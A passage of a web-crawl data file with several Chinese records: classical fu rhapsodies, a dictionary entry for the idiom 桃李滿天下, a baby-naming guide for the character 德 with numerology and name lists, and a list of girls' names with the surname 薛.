妙而复扬。贯历览其中操兮,意慷慨而自卬。左右悲而垂泪兮,涕流离而从横。舒息悒而增欷兮,蹝履起而彷徨。揄长袂以自翳兮,数昔日之諐殃。无面目之可显兮,遂颓思而就床。抟芬若以为枕兮,席荃兰而茝香。\n忽寝寐而梦想兮,魄若君之在旁。惕寤觉而无见兮,魂迋迋若有亡。众鸡鸣而愁予兮,起视月之精光。观众星之行列兮,毕昴出于东方。望中庭之蔼蔼兮,若季秋之降霜。夜曼曼其若岁兮,怀郁郁其不可再更。澹偃蹇而待曙兮,荒亭亭而复明。妾人窃自悲兮,究年岁而不敢忘。\n臣闻物有同类而殊能者,故力称乌殊,捷言庆忌,勇期贲、育。臣之愚,窃以为人诚有之,兽亦宜然。今陛下好陵阻险,射猛兽,卒然遇逸材之兽,骇不存之地,犯属车之清尘,舆不及还辕,人不暇施巧,虽有乌殊、逢蒙之技不能用,枯木朽枝尽为难矣。是胡越起于毂下,而羌夷接轸也,岂不殆哉!虽万全而无患,然本非天子之所宜近也。\n且夫清道而后行,中路而驰,犹时有衔橛之变。况乎涉丰草,骋丘虚,前有利兽之乐,而内无存变之意,其为害也不难矣。夫轻万乘之重不以为安,乐出万有一危之途以为娱,臣窃为陛下不取。\n盖明者远见于未萌,而知者避危于无形,祸固多藏于隐微而发于人之所忽者也。故鄙谚曰:\"家累千金,坐不垂堂。\"此言虽小,可以喻大。臣愿陛下留意幸察。","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.mzhuang.net\/smxrT9\/","date":"2022-10-06T00:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337680.35\/warc\/CC-MAIN-20221005234659-20221006024659-00206.warc.gz","language":"lzh","language_score":0.440636903,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44063690304756165, \"cmn_Hani_score\": 0.30575093626976013, \"nan_Hani_score\": 0.06800048053264618, \"zxx_Latn_score\": 0.027294015511870384, \"wuu_Hani_score\": 0.025447778403759003, \"yue_Hani_score\": 0.016200300306081772, \"jpn_Jpan_score\": 0.014916469343006611, \"und_Xsux_score\": 0.010324554517865181}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":500.0,"cluster_detection":1} +{"text":"延熹二年秋,霖雨逾月。是时梁冀新诛,而徐璜、左悺等五侯擅贵于其处。又起显阳苑于城西,人徒冻饿,不得其命者甚众。白马令李云以直言死,鸿胪陈君以救云抵罪。璜以余能鼓琴,白朝廷,敕陈留太守发遣余。到偃师,病不前,得归。心愤此事,遂托所过,述而成赋。\n余有行于京洛兮,遘淫雨之经时。涂迍邅其蹇连兮,潦污滞而为灾。乘马蟠而不进兮,心郁悒而愤思。聊弘虑以存古兮,宣幽情而属词。\n夕宿余于大梁兮,诮无忌之称神。哀晋鄙之无辜兮,忿朱亥之篡军。历中牟之旧城兮,憎佛肸之不臣。问宁越之裔胄兮,藐髣髴而无闻。\n经圃田而瞰北境兮,晤卫康之封疆。迄管邑而增感叹兮,愠叔氏之启商。过汉祖之所隘兮,吊纪信于荥阳。\n降虎牢之曲阴兮,路丘墟以盘萦。勤诸侯之远戍兮,侈申子之美城。稔涛涂之愎恶兮,陷夫人以大名。登长坂以凌高兮,陟葱山之峣陉;建抚体以立洪高兮,经万世而不倾。回峭峻以降阻兮,小阜寥其异形。冈岑纡以连属兮,溪谷夐其杳冥。迫嵯峨以乖邪兮,廓严壑以峥嵘。攒棫朴而杂榛楛兮,被浣濯而罗生。步亹菼与台菌兮,缘层崖而结茎。行游目以南望兮,览太室之威灵。顾大河于北垠兮,瞰洛汭之始并。追刘定之攸仪兮,美伯禹之所营。悼太康之失位兮,愍五子之歌声。\n寻修轨以增举兮,邈悠悠之未央。山风汩以飙涌兮,气懆懆而厉凉。云郁术而四塞兮,雨濛濛而渐唐。仆夫疲而劬瘁兮,我马虺隤以玄黄。格莽丘而税驾兮,阴曀曀而不阳。\n哀衰周之多故兮,眺濒隈而增感。忿子带之淫逆兮,唁襄王于坛坎。悲宠嬖之为梗兮,心恻怆而怀惨。\n乘舫州而泝湍流兮,浮清波以横厉。想宓妃之灵光兮,神幽隐以潜翳。实熊耳之泉液兮,总伊瀍与涧濑。通渠源于京城兮,引职贡乎荒裔。操吴榜其万艘兮,充王府而纳最。济西溪而容与兮,息巩都而后逝。愍简公之失师兮,疾子朝之为害。\n玄云黯以凝结兮,集零雨之溱溱。路阻败而无轨兮,涂泞溺而难遵。率陵阿以登降兮,赴偃师而释勤。壮田横之奉首兮,义二士之侠坟。伫淹留以候霁兮,感忧心之殷殷。并日夜而遥思兮,宵不寐以极晨。候风云之体势兮,天牢湍而无文。弥信宿而后阕兮,思逶迤以东运。见阳光之颢颢兮,怀少弭而有欣。\n命仆夫其就驾兮,吾将往乎京邑。皇家赫而天居兮,万方徂而星集。贵宠煽以弥炽兮,佥守利而不戢。前车覆而未远兮,后乘驱而竞及。穷变巧于台榭兮,民露处而寝洷。消嘉谷于禽兽兮,下糠粃而无粒。弘宽裕于便辟兮,纠忠谏其骎急。怀伊吕而黜逐兮,道无因而获人。唐虞渺其既远兮,常俗生于积习。周道鞠为茂草兮,哀正路之日歰。\n观风化之得失兮,犹纷挐其多远。无亮采以匡世兮,亦何为乎此畿?甘衡门以宁神兮,咏都人而思归。爰结踪而回轨兮,复邦族以自绥。\n乱曰:跋涉遐路,艰以阻兮。终其永怀,窘阴雨兮。历观群都,寻前绪兮。考之旧闻,厥事举兮。登高斯赋,义有取兮。则善戒恶,岂云苟兮?翩翩独征,无俦与兮。言旋言复,我心胥兮。\n余遭世之颠覆兮,罹填塞之阨灾。旧室灭以丘墟兮,曾不得乎少留。遂奋袂以北征兮,超绝迹而远游。\n朝发轫于长都兮,夕宿瓠谷之玄宫。历云门而反顾,望通天之崇崇。乘陵岗以登降,息郇邠之邑乡。慕公刘之遗德,及行苇之不伤。彼何生之优渥,我独罹此百殃?故时会之变化兮,非天命之靡常。\n登赤须之长阪,入义渠之旧城。忿戎王之淫狡,秽宣后之失贞。嘉秦昭之讨贼,赫斯怒以北征。纷吾去此旧都兮,騑迟迟以历兹。\n遂舒节以远逝兮,指安定以为期。涉长路之绵绵兮,远纡回以樛流。过泥阳而太息兮,悲祖庙之不修。释余马于彭阳兮,且弭节而自思。日晻晻其将暮兮,睹牛羊之下来。寤旷怨之伤情兮,哀诗人之叹时。\n越安定以容与兮,遵长城之漫漫。剧蒙公之疲民兮,为强秦乎筑怨。舍高亥之切忧兮,事蛮狄之辽患。不耀德以绥远,顾厚固而缮藩。首身分而不寤兮,犹数功而辞鱤。何夫子之妄说兮,孰云地脉而生残。\n登鄣隧而遥望兮,聊须臾以婆娑。闵獯鬻之猾夏兮,吊尉漖于朝那。从圣文之克让兮,不劳师而币加。惠父兄于南越兮,黜帝号于尉他。降几杖于藩国兮,折吴濞之逆邪。惟太宗之荡荡兮,岂曩秦之所图。\n隮高平而周览,望山谷之嵯峨。野萧条以莽荡,迥千里而无家。风猋发以漂遥兮,谷水灌以扬波。飞云雾之杳杳,涉积雪之皑皑。雁邕邕以群翔兮,□鸡鸣以哜哜。\n游子悲其故乡,心怆悢以伤怀。抚长剑而慨息,泣涟落而沾衣。揽余涕以于邑兮,哀生民之多故。夫何阴曀之不阳兮,嗟久失其平度。谅时运之所为兮,永伊郁其谁愬?\n乱曰:夫子固穷游艺文兮,乐以忘忧惟圣贤兮?达人从事有仪则兮,行止屈申与时息兮?君子履信无不居兮,虽之蛮貊何忧惧兮?","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.mzhuang.net\/jxbS\/","date":"2022-10-05T23:59:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337680.35\/warc\/CC-MAIN-20221005234659-20221006024659-00328.warc.gz","language":"lzh","language_score":0.4428786337,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4428786337375641, \"cmn_Hani_score\": 0.17116646468639374, \"zxx_Latn_score\": 0.07444498687982559, \"nan_Hani_score\": 0.0703311637043953, \"yue_Hani_score\": 0.020082997158169746, \"und_Tang_score\": 0.01975928246974945, \"jpn_Jpan_score\": 0.017449242994189262, \"wuu_Hani_score\": 0.016395853832364082, \"und_Yiii_score\": 0.011287230998277664}","num_words":21,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.503,"perplexity_score":500.0,"cluster_detection":1} +{"text":"閔生賦\n閔吾生之險阨兮,紛喪志以逢尤。氣沉鬱以杳渺兮,涕浪浪而嚐流。膏液竭而枯居兮,魄離散而遠遊。言不信而莫余白兮,雖遑遑欲焉求?合喙而隱志兮,幽默以待盡。為與世而斥謬兮,固離披以顛隕。騏驥之棄辱兮,駑駱以為騁。元虯蹶泥兮,畏避蛙邑。行不容之崢嶸兮,質魁壘而無所隱。鱗介槁以橫陸兮,鴟嘯群而厲吻。心沉抑以不舒兮,形低摧而自湣。\n肆余目於湘流兮,望九嶷之垠垠。波淫溢以不返兮,蒼梧鬱其蜚雲。重華幽而野死兮,世莫得其偽真。屈子之悁微兮,抗危辭以赴淵。古固有此極憤兮,矧吾生之藐艱。列往則以考己兮,指鬥極以自陳,登高岩而企踵兮,瞻故邦之殷轔。山水浩以蔽虧兮,路蓊勃以揚氛。空廬頹而不理兮,翳丘木之棒棒。塊窮老以淪放兮,匪魑魅吾誰鄰。\n仲尼之不惑兮,有垂訓之謨言。孟軻四十乃始持心兮,猶希勇乎黝賁。顧余質愚而齒減兮,宜觸禍以阽身。知徙善而革非兮,又何懼乎今之人。噫!禹績之勤備兮,曾莫理夫茲川。殷周之廓大兮,南不盡夫衡山。余囚楚越之交極兮,邈離絕乎中原。壤汙潦以墳洳兮,蒸沸熱而恆昏。戲鳧鸛乎中庭兮,蒹葭生於堂筵。雄虺蓄形於木杪兮,短狐伺景於深淵。仰矜危而俯栗兮,弭日夜之拳攣。慮吾生之莫保兮,忝代德之元醇。孰眇軀之敢愛兮,竊有繼乎古先。明神之不欺余兮,庶激烈而有聞。冀後害之無辱兮,匪徒蓋乎曩愆。\n|本唐朝作品在全世界都屬於公有領域,因為作者逝世已經遠遠超過100年。|","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/zh.wikisource.org\/zh-hant\/%E9%96%94%E7%94%9F%E8%B3%A6","date":"2019-12-07T16:20:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540500637.40\/warc\/CC-MAIN-20191207160050-20191207184050-00283.warc.gz","language":"lzh","language_score":0.3886567652,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.38865676522254944, \"zxx_Latn_score\": 0.16880476474761963, \"und_Tang_score\": 0.03273872658610344, \"cmn_Hani_score\": 0.032343264669179916, \"nan_Hani_score\": 0.026591049507260323, \"und_Cans_score\": 0.019765300676226616, \"und_Yiii_score\": 0.018851617351174355, \"und_Sgnw_score\": 0.01875760592520237, \"und_Xsux_score\": 0.017909444868564606, \"und_Kits_score\": 0.016634859144687653, \"und_Grek_score\": 0.014967476017773151, \"und_Nshu_score\": 0.01307274866849184, \"und_Egyp_score\": 0.011630154214799404, \"yue_Hani_score\": 0.011506087146699429, \"und_Lina_score\": 0.011322760954499245, \"und_Hira_score\": 0.010396321304142475}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.17,"perplexity_score":500.0,"cluster_detection":1} +{"text":"注音 ㄊㄠˊ ㄌㄧˇ ㄇㄢˇ ㄊㄧㄢ ㄒㄧㄚˋ\n拼音 táo lǐ mǎn tiān xià\n基本釋義\n比喻所教過的學生非常多。\n造句李老師從事教育數十年,桃李滿天下,到處都有他的學生。\n桃李,指學生。參見「桃李」條。桃李滿天下指學生眾多。唐.白居易〈奉和令公綠野堂種花〉詩:「令公桃李滿天下,何用堂前更種花。」\n您可能感興趣的詞語\n桃李遍天下 名滿天下 桃李不言,下自成行 桃李不言,下自成蹊 譽滿天下 滿城桃李 李天下 滿天 三分天下有其二 權傾天下 上不著天,下不著地 上不在天,下不著地 棄天下 平治天下 普天下 棄背天下 目空天下 莫道桑榆晚,為霞尚滿天 名揚天下 名顯天下 名重天下 名聞天下 門牆桃李 滿天星斗 落筆妙天下 滿天星 滿天飛 名高天下 名動天下 老子天下第一 浪跡天下 經綸天下 經緯天下 兼善天下 家天下 劫制天下","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.3du.tw\/dict\/%E6%A1%83%E6%9D%8E%E6%BB%BF%E5%A4%A9%E4%B8%8B","date":"2020-09-22T21:52:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206763.24\/warc\/CC-MAIN-20200922192512-20200922222512-00403.warc.gz","language":"lzh","language_score":0.6461651921,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6461651921272278, \"nan_Hani_score\": 0.20315498113632202, \"cmn_Hani_score\": 0.1438806802034378}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.633,"perplexity_score":500.0,"cluster_detection":1} +{"text":"德用於人名,一般是家長希望小孩擁有高尚品德,仁愛或是信念堅定,因為這美好寓意,德字常用於男孩名。那麼帶德字的男孩名字有哪些呢,如何用德字起名呢?如果你想用德字為寶寶取名,下面的這篇內容能幫到你。\n1、德字的基本含義\n1.人們共同生活及行為的准則和規范,品行,品質:美德。\n2.心意,信念:一心一德。\n3.恩惠:德施。\n4.姓。\n2、德字的姓名學屬性\n讀音:dé\n繁體:德\n起名五行:火\n姓名學筆畫:15畫\n簡體筆畫:15畫\n姓名學含義:本義是指人的道德品質,後也指仁愛、善行;恩德、恩惠。\n3、帶德字的名人\n曹孟德:即曹操,字孟德。東漢末年傑出的政治家、軍事家、文學家、書法家,三國中曹魏政權的締造者。以漢天子的名義征討四方,對內消滅二袁、呂布、劉表、馬超、韓遂等割據勢力,對外降服南匈奴、烏桓、鮮卑等,統一了中國北方,並實行一系列政策恢復經濟生產和社會秩序,奠定了曹魏立國的基礎。\n劉玄德:即劉備,字玄德,西漢中山靖王劉勝的後代,三國時期蜀漢開國皇帝,政治家,史家又稱他為先主。\n耶律德光:字德謹,遼太祖耶律阿保機次子,母淳欽皇後述律平,遼國第二位皇帝,927年―947年在位。\n長孫順德:唐朝名領,凌煙閣二十四功臣之一。\n彭德懷:前副總理、前政治局委員。\n朱德:原名朱代珍,曾用名朱建德,偉大的馬克思主義者,無產階級革命家、政治家和軍事家,中國共產黨、中國人民解放軍和中華人民共和國的主要締造者和領導人之一。中華人民共和國十大元帥之首。\n陳德容:台灣女演員。代表作《梅花三弄》《一簾幽夢》《絕代雙驕》《新蜀山劍俠》《世間道》。\n張思德:共產主義戰士,全心全意為人民服務的典范。1944年9月5日,他帶領戰士們在陝北安塞縣執行燒炭任務時,即將挖成的窯洞突然塌方,他奮力把戰友推出洞去,自己卻被埋在窯洞,犧牲時年僅29歲。\n陳德錦:香港作家、學者。著作有《書架傳奇》《如果時間可以》《秋橘》《登山集》。\n葉德娴:香港演員及歌手,以演活小人物角色和出色的歌唱技巧而著名。2012年,葉德娴憑借電影《桃姐》分別十度奪得國際電影節及亞洲華語電影界的最佳女主角影後桂冠,代表作《法外情》《縱橫四海》《桃姐》《廟街十二少》《與龍共舞》。\n劉德華:香港,演員、歌手、詞作人、制片人,影視歌多棲發展的代表藝人之一,四大天王之一。代表作《暗戰》《無間道》《天若有情》《阿虎》《法外情》《忘情水》《謝謝你的愛》《冰雨》《來生緣》。\n馬德華:國家一級演員。《西游記》中豬八戒的經典扮演者。\n宋祖德:網絡紅人,文藝評論員,導演,制作人,人稱\"毒舌\"。《誰是最愛你的人》《單人房雙人床》《玻璃愛情》。\n郭德綱:相聲演員,電視、電影演員及電視節目主持人,師從相聲大師侯耀文,代表作《我這一輩子》《我要幸福》《我要反三俗》《西征夢》《學電台》。\n王維德:香港演員,出演了大量TVB劇,代表作品有《鐵血大旗門》、《倚天劍屠龍刀》、《水浒無間道》、《900重案追凶》等\n黃仁德:台灣演員,韓國華僑,父親為華人,從小在韓國的華僑學校學習中文。2012年在電視劇《終極一班2》中飾演令;2013年在台劇《原來是美男》中飾演姜新禹。\n黃維德:台灣男演員、歌手。代表作《京華煙雲》《新三國》《大唐游俠傳》《流星蝴蝶劍》。\n王敏德:美籍華人,香港電影演員。代表作《創世紀》《癡心的我》《飛虎雄心》《皇家戰士》《花旗少林》,曾憑借主演電影《飛虎》,憑借該片獲得第16屆 香港電影金像獎最佳男主角和第33屆 台灣電影金馬獎最佳男主角。\n鮑德熹:鮑德熹,著名電影人,享譽世界的華人攝影大師。2001年以《臥虎藏龍》獲得奧斯卡最佳攝影獎,是第一位也是僅有的一位獲此殊榮的非美藉華人攝影師。鮑德熹曾6次獲得香港電影金像獎最佳攝影,1次獲得金馬獎最佳攝影,被授予香港銅紫荊星章。代表作《孔子》《無極》《臥虎藏龍》。\n劉德凱:演員、導演、編劇、制作人。代表作《秋水長天》《一簾幽夢》《孝莊秘史》《台灣首任巡撫劉銘傳》。\n4、如何用德字起名\n德字在姓名學中是15畫,在81數理中代表福壽雙全、立身興家的吉祥數理。表象為福壽,蘊含福壽圓滿,繁榮興家的吉祥數理。德字在五行中屬火,如果寶寶的生辰八字喜用神五行屬火,可以用\"德\"字起名。這樣不但能夠化解凶惡數理的不吉蘊意,還能對命理進行幫扶。\n名字舉例\n德軒 德銘 德水 德枝 德熱 德堂 德澍 德庸 德佑 德曜 德業 德仙 德東 德丞 德中 德豐 德舉 德義 都德 金德 鈞德 銘德 長德 雄德 震德 順德 風德 飛德 高德 鳴德 鴻德 龍德\n相關起名用字\n軒 銘 水 懿 彬 大 澤 梅 田 學 再 森 琛 生 沛 瑤 巍 聖 齊 備 哲 全 平 立\n5、帶德字的男孩名字大全\n德字在前的名字\n德藹 德壩 德榜 德堡 德倍 德彪 德兵 德秉 德帛 德泊 德部 德參 德昌 德敞 德超 德臣 德成 德呈 德弛 德沖 德楚 德骢 德戴 德帶 德端 德番 德樊 德方 德佛 德福 德阜 德剛 德崗 德耕 德冠 德光 德海 德寒 德函 德灏 德賀 德弘 德候 德淮 德績 德吉 德極 德籍 德即 德計 德繼 德鍵 德漸 德槳 德金 德今 德晉 德京 德靖 德爵 德慷 德箜 德匡 德魁 德籃 德勞 德漓 德禮 德瀝 德霖 德鄰 德鎏 德泷 德榈 德律 德貌 德米 德免 德敏 德明 德默 德木 德苜 德年 德龐 德朋 德評 德期 德僑 德欽 德勤 德卿 德清 德球 德全 德铨 德券 德群 德人 德茸 德扇 德紳 德審 德什 德史 德適 德恕 德司 德宋 德訟 德泰 德探 德棠 德銻 德土 德望 德巍 德圍 德維 德緯 德渭 德吾 德悟 德熙 德銑 德縣 德羨 德祥 德享 德橡 德象 德曉 德薪 德鋅 德絢 德雪 德遜 德迅 德亞 德彥 德焰 德宴 德耀 德壹 德儀 德勇 德由 德友 德於 德雨 德遇 德原 德轅 德源 德苑 德勻 德運 德醞 德灶 德責 德則 德增 德折 德震 德榛 德正 德至 德制 德祉 德仲 德晝 德鑄 德莊 德准 德卓 德尊 德遵 德胤 德馗 德劭 德圳 德荃 德茗 德菁 德嶙 德淞 德骅 德珩 德玺 德琛 德桦 德昊 德晗 德禅 德淼 德钛 德艮 德翎 德喬 德書 德乾 德亭 德亮 德仁 德侖 德倉 德付 德眾 德偉 德余 德俊 德保 德信 德修 德倍 德健 德傲 德元 德先 德光 德全 德公 德關 德興 德兵 德冉 德軍 德冠 德冬 德凱 德剛 德利 德力 德勇 德勳 德勤 德升 德華 德卑 德南 德博 德占 德厚 德原 德友 德發 德合 德吉 德向 德君 德周 德和 德咔 德品 德哲 德喜 德國 德圈 德聖 德均 德堅 德坤 德壟 德垲 德城 德培 德增 德士 德備 德天 德奇 德奎 德奧 德好 德如 德威 德孝 德寧 德宇 德安 德宏 德宗 德官 德實 德宣 德憲 德寬 德賓 德富 德壽 德展 德山 德豈 德巖 德嶺 德峰 德崎 德嶂 德川 德巧 德希 德帷 德平 德年 德廣 德莊 德慶 德康 德延 德建 德弘 德弢 德強 德彗 德彥 德彪 德彬 德彰 德德 德志 德忠 德懷 德恂 德恆 德恩 德恺 德想 德意 德慈 德成 德戰 德才 德揚 德承 德振 德掏 德政 德敬 德文 德斌 德新 德方 德旺 德昂 德昊 德昌 德明 德易 德昕 德星 德昭 德昶 德晉 德晟 德智 德有 德朋 德朗 德朝 德本 德權 德來 德傑 德松 德林 德果 德柱 德標 德棟 德樹 德根 德桂 德桃 德桢 德桦 德梁 德棋 德森 德楷 德榆 德榕 德槐 德槟 德樟 德武 德歧 德毅 德民 德水 德永 德江 德沅 德河 德泉 德泓 德法 德泰 德澤 德洋 德洪 德洲 德浩 德海 德濤 德潤 德涵 德深 德添 德淼 德清 德淵 德源 德滔 德濱 德瀚 德炳 德烤 德烨 德煊 德照 德熙 德猛 德獻 德王 德玮 德珏 德理 德瑞 德璇 德璋 德璜 德生 德留 德盛 德相 德省 德真 德睿 德碩 德碧 德磐 德禮 德祖 德祥 德祯 德祿 德福 德科 德立 德童 德端 德緯 德純 德綱 德維 德群 德羲 德羽 德翊 德翔 德耀 德聰 德育 德勝 德能 德騰 德臣 德臻 德輿 德舜 德航 德良 德芙 德芹 德英 德茂 德荃 德榮 德莊 德菊 德萌 德蔚 德蕊 德虎 德虞 德蝾 德融 德行 德裕 德見 德譽 德讓 德記 德詩 德諾 德豪 德豹 德貝 德財 德賢 德貫 德貴 德起 德超 德躍 德軒 德輝 德達 德迅 德運 德進 德遠 德連 德通 德道 德邺 德醇 德重 德金 德銮 德鑫 德钊 德鋇 德鋼 德欽 德鈞 德鈴 德銘 德铮 德铿 德鋒 德銳 德錦 德鍵 德锴 德鎂 德鎮 德長 德闊 德陽 德隆 德隽 德雄 德震 德霈 德青 德靖 德韬 德順 德飛 德饕 德高 德魁 德鴻 德鵬 德麒 德黎 德齊 德龍\n德字在後的名字\n岸德 遨德 翱德 邦德 豹德 北德 秉德 搏德 伯德 渤德 敞德 超德 呈德 程德 誠德 池德 熾德 蟲德 礎德 傳德 璁德 骢德 答德 島德 德德 登德 笛德 丁德 鼎德 敦德 盾德 爾德 洱德 法德 樊德 楓德 蜂德 風德 福德 富德 綱德 崗德 庚德 官德 桂德 函德 翰德 杭德 亨德 衡德 弘德 虎德 環德 機德 及德 際德 箋德 進德 警德 境德 均德 君德 慷德 克德 琅德 浪德 樂德 漓德 立德 連德 梁德 良德 寥德 侖德 盟德 緬德 默德 沫德 慕德 睦德 能德 凝德 寧德 培德 澎德 鵬德 普德 棋德 齊德 旗德 骐德 啟德 千德 欽德 秦德 頃德 權德 券德 群德 然德 燃德 冉德 壬德 榮德 戎德 嵘德 閏德 潤德 少德 盛德 聖德 石德 什德 史德 殊德 述德 肅德 堂德 桃德 謄德 天德 庭德 挺德 艇德 同德 銅德 童德 圖德 威德 巍德 濰德 魏德 沃德 熙德 羲德 銑德 校德 薪德 型德 形德 修德 許德 宣德 旋德 選德 學德 勳德 迅德 嚴德 研德 延德 言德 央德 陽德 億德 詠德 尤德 俞德 渝德 雨德 與德 譽德 園德 員德 遠德 岳德 勻德 造德 灶德 擇德 澤德 照德 者德 祯德 蓁德 政德 志德 智德 治德 孜德 遵德 禺德 兮德 苡德 苠德 茼德 茗德 堇德 弈德 弋德 嵩德 寰德 骐德 缇德 琮德 旌德 炀德 祺德 睿德 筝德 睿德 賢德 濠德 陽德 詠德 鑒德 譽德 世德 丙德 東德 中德 舉德 義德 之德 樂德 書德 亨德 京德 亮德 仁德 從德 付德 令德 會德 偉德 傳德 伯德 何德 俊德 保德 信德 修德 健德 元德 兆德 先德 光德 全德 興德 再德 軍德 農德 冠德 列德 剛德 創德 利德 力德 功德 勇德 化德 華德 博德 厚德 友德 發德 啟德 和德 哲德 善德 固德 國德 聖德 均德 堅德 坤德 培德 士德 壯德 備德 大德 天德 奇德 奧德 子德 孝德 學德 寧德 宇德 守德 宏德 寬德 富德 尊德 山德 巖德 峰德 崇德 幫德 平德 廣德 慶德 康德 建德 開德 弘德 強德 彪德 彬德 志德 忠德 恆德 恩德 成德 才德 承德 持德 振德 政德 敬德 文德 斌德 新德 方德 日德 昌德 明德 星德 昭德 曉德 智德 曰德 有德 朋德 朗德 朝德 杜德 傑德 松德 林德 柄德 棟德 樹德 格德 梁德 檢德 楚德 榕德 正德 武德 毅德 比德 民德 永德 江德 河德 波德 洪德 浩德 海德 濤德 炳德 煥德 愛德 現德 琛德 生德 留德 磊德 祖德 祥德 福德 秉德 科德 積德 策德 紹德 維德 群德 翰德 耀德 耿德 聚德 育德 勝德 騰德 航德 良德 艾德 英德 茂德 榮德 裕德 言德 誠德 謙德 豪德 貴德 賜德 超德 輪德 輝德 達德 進德 道德 邦德","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/www.3322.online\/quming\/qmdq\/201612\/30363.html","date":"2020-11-27T23:43:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141194634.29\/warc\/CC-MAIN-20201127221446-20201128011446-00619.warc.gz","language":"lzh","language_score":0.6242787242,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.624278724193573, \"cmn_Hani_score\": 0.3087744116783142, \"nan_Hani_score\": 0.06635664403438568}","num_words":1054,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.713,"perplexity_score":500.0,"cluster_detection":1} +{"text":"薛姓起名,帮孩子取名,女孩,姓薛?\n薛紫霖 薛怡风 薛洪仪 薛彤韩 薛祎杰 薛健菲 薛宣婷 薛亚莲 薛显玮 薛珊睿 薛易椿 薛祯君 薛薇康 薛国铭 薛月菲 薛自羽 薛思煦 薛方泽 薛子西 薛宇力 薛广誉 薛激华 薛皇萍 薛暮冉 薛晓林 薛洛苹 薛扬涵 薛子茜 薛培渲 薛祉鸣 薛维玲 薛何茹 薛新雅 薛瑜华 薛倩玲 薛小云 薛木佳 薛珏艳 薛姝超 薛璨译 薛小瑞 薛贤实 薛东宁 薛玉艾 薛对会 薛琬昌 薛笑璇 薛嗳清 薛玉梅 薛铭莹 薛梓馨 薛思娴 薛明鑫 薛明明 薛沨平 薛郡怡 薛轾人 薛智娟 薛鑫怡 薛茜桓 薛欣琪 薛雅灵 薛屹锐 薛莉瑜 薛圣华 薛丹涵 薛凡彤 薛诗铭 薛雨弛 薛冬乙 薛敬梅 薛飞綦 薛诺宇 薛语怡 薛庆慧 薛子昕 薛小萍 薛麟格 薛天芬 薛佳君 薛彦涵 薛怡冰 薛林彦 薛鹏霞 薛曼杰 薛熙闵 薛艳天 薛杰玲 薛玉阳 薛新娟 薛悦仪 薛米轻 薛晨涵 薛昀颖 薛芝于 薛玉漫 薛一妤 薛尼漩 薛素嘉 薛薇悠 薛宛乐 薛梦利 薛丽薇 薛珈棂 薛子玉 薛宇天 薛楠瑶 薛倩欣 薛怡君 薛海珍 薛泽中 薛应枰 薛小金 薛鸿婷 薛钰华 薛配婷 薛玉唯 薛宜龙 薛雪馨 薛欣恕 薛慧先 薛淑涵 薛辰慧 薛春甜 薛娟玲 薛丽帆 薛文皓 薛存霖 薛曼烨 薛朗涵 薛睿岚 薛淑冉 薛雯萌 薛苗帆 薛冬铭 薛心圯 薛家红 薛逸馨 薛寓菱 薛栩斐 薛丽舒 薛昔文 薛杨茜 薛思轩 薛秋月 薛青英 薛莹雨 薛玫伟 薛金珊 薛梓静 薛于晓 薛琪俐 薛俊歌 薛奕华 薛秋蕊 薛彩敬 薛怀洁 薛天芳 薛书玉 薛宏群 薛溢云 薛艺曼 薛涵华 薛柠珊 薛佳玲 薛群瀚 薛箫晴 薛诗雨 薛颖桂 薛涵琪 薛彦冉 薛易欣 薛子灵 薛冬铿 薛会烨 薛炎瑞 薛宝越 薛若莉 薛思华 薛小婉 薛秀轩 薛佃欢 薛子琪 薛靖怡 薛瑾莺 薛新涵 薛涵翠 薛直婷 薛蕊郴 薛晓然 薛涵易 薛钰慧 薛明桔 薛雅新 薛月琦 薛美哲 薛秀澈 薛美琳 薛彦菊 薛星潇\n薛钰 薛燕 薛建 薛芸 薛议 薛美 薛梦 薛媛 薛玉 薛倩 薛盈 薛辉 薛果 薛宸 薛霞 薛惠 薛丽 薛花 薛君 薛瀚 薛奇 薛玲 薛巍 薛斐 薛芳 薛桑 薛帆 薛琦 薛文 薛琳 薛迅 薛炜 薛婧 薛明 薛玫 薛端 薛燕 薛柳 薛芸 薛艳 薛逸 薛薇 薛娜 薛晴 薛子 薛玥 薛雪 薛霞 薛萍 薛萌 薛萍 薛海 薛俊 薛岚 薛丹 薛茜 薛晴 薛越 薛娟 薛亿 薛娇 薛旭 薛珉 薛菁 薛虹 薛佳 薛琪 薛俏 薛霖 薛杨 薛卓 薛波 薛静 薛影 薛梅 薛海 薛垚 薛静 薛畅 薛荃 薛昊 薛筠 薛格 薛瑾 薛兰 薛海 薛楠 薛丽 薛昕 薛影 薛玲 薛杰 薛青 薛好 薛宸 薛宁 薛艳 薛盈 薛洁 薛燕 薛涛 薛栗 薛璇 薛颖 薛欢 